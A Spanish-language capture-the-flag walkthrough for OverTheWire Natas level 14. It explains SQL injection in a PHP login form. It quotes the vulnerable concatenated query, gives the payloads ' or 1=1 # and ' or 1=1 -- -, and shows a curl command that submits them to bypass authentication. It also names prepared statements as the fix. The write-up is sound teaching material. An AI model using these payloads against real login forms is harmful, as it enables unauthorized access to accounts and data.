Natas Nivel 14 a 15
Nivel oficial: http://natas14.natas.labs.overthewire.org
Este nivel introduce la vulnerabilidad mas clasica del catalogo OWASP: inyeccion SQL en un formulario de autenticacion. El objetivo es saltarse el login sin conocer ninguna credencial valida.
Este wargame es un laboratorio legal y autorizado por OverTheWire. Toda practica aqui descrita es etica y legal dentro de ese entorno.
Objetivo
Obtener la contrasena de natas15 accediendo al panel de administracion sin conocer usuario ni contrasena validos.
Credenciales de entrada: usuario natas14, contrasena <pass_natas14> (obtenida del nivel anterior).
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
| SQL Injection (SQLi) en login | Manipular la logica de la consulta para que siempre devuelva true |
Comentario SQL # o -- | Anular el resto de la consulta tras la inyeccion |
| Concatenacion sin parametrizar | Raiz del problema; la entrada del usuario se incrusta directamente en el SQL |
| Burp Suite / curl | Interceptar y modificar peticiones HTTP para probar payloads |
Concepto clave
Categoria de vulnerabilidad: Inyeccion (OWASP A03:2021 — Injection).
Patron: La aplicacion construye la consulta SQL concatenando directamente los valores que el usuario envio por formulario:
SELECT * FROM users WHERE username="$u" AND password="$p"Si $u no se sanitiza, el atacante puede cerrar la cadena con ", insertar logica SQL propia y comentar el resto de la consulta original. El motor SQL ejecuta lo que recibe sin distinguir “datos” de “codigo”.
Por que es peligroso: una sola fila devuelta (true) basta para que PHP (o cualquier backend similar) considere el login exitoso.
Paso a paso
- Accede al nivel con las credenciales de natas14:
curl -u natas14:<pass_natas14> http://natas14.natas.labs.overthewire.org/Veras un formulario HTML con campos username y password.
- Examina el codigo fuente (el nivel lo expone via enlace “View sourcecode”). La consulta clave es:
$query = "SELECT * FROM users WHERE username=\"" . $_REQUEST["username"] . "\" AND password=\"" . $_REQUEST["password"] . "\"";
if(mysql_num_rows(mysql_query($query)) > 0) {
// login exitoso
}La entrada se concatena sin escapar ni usar sentencias preparadas.
- Construye el payload. El objetivo es que la clausula
WHEREsea siempre verdadera y que el resto de la consulta quede comentado:
En el campo username pon:
" or 1=1 #
Deja password vacio (o con cualquier valor; el comentario # lo anula).
La consulta resultante que ejecuta el servidor es:
SELECT * FROM users WHERE username="" or 1=1 #" AND password=""1=1 es siempre verdadero; # comenta todo lo que sigue. MySQL devuelve todas las filas de la tabla y mysql_num_rows > 0 es true.
- Envia el payload via curl o formulario web:
curl -u natas14:<pass_natas14> \
--data 'username=" or 1=1 #&password=' \
http://natas14.natas.labs.overthewire.org/index.php- Lee la respuesta: la pagina mostrara la contrasena de natas15.
You are logged in as a regular user. The password for natas15 is <pass_natas15>
Guarda <pass_natas15> para el siguiente nivel.
Por que funciona
El motor SQL (MySQL en este caso) parsea la cadena completa que recibe. Al insertar " cerramos el literal de cadena que el PHP abrio para username; a continuacion or 1=1 convierte la condicion booleana en verdadera para cualquier fila; y # es el caracter de comentario de linea en MySQL, por lo que el fragmento " AND password="..." nunca se evalua. El backend ve filas devueltas y concluye que la autenticacion fue exitosa.
La raiz estructural del fallo es la ausencia de sentencias preparadas (PDO / mysqli_prepare): con ellas, la entrada del usuario nunca se interpreta como codigo SQL, solo como dato.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
| La pagina no cambia tras enviar el payload | Las comillas se escaparon automaticamente (magic quotes PHP) | Prueba sin la comilla inicial: or 1=1 # y observa el comportamiento |
| Error de sintaxis SQL en la respuesta | El comentario no funciono por dialect SQL distinto | Sustituye # por -- - (dos guiones + espacio + guion) que es mas universal: " or 1=1 -- - |
| curl devuelve 401 | Las credenciales de natas14 son incorrectas | Verifica que estas usando la pass del nivel 13, no una anterior |
| El payload llega URL-encoded mal | Shell interpreta caracteres especiales | Pon el valor entre comillas simples en curl o usa --data-urlencode |
Pasar al siguiente nivel
Accede a natas15 con:
- URL:
http://natas15.natas.labs.overthewire.org - Usuario:
natas15 - Contrasena:
<pass_natas15>
El nivel 15 introduce blind SQL injection: no hay mensaje de error ni de exito visible; hay que inferir la informacion caracter a caracter mediante consultas booleanas o de tiempo.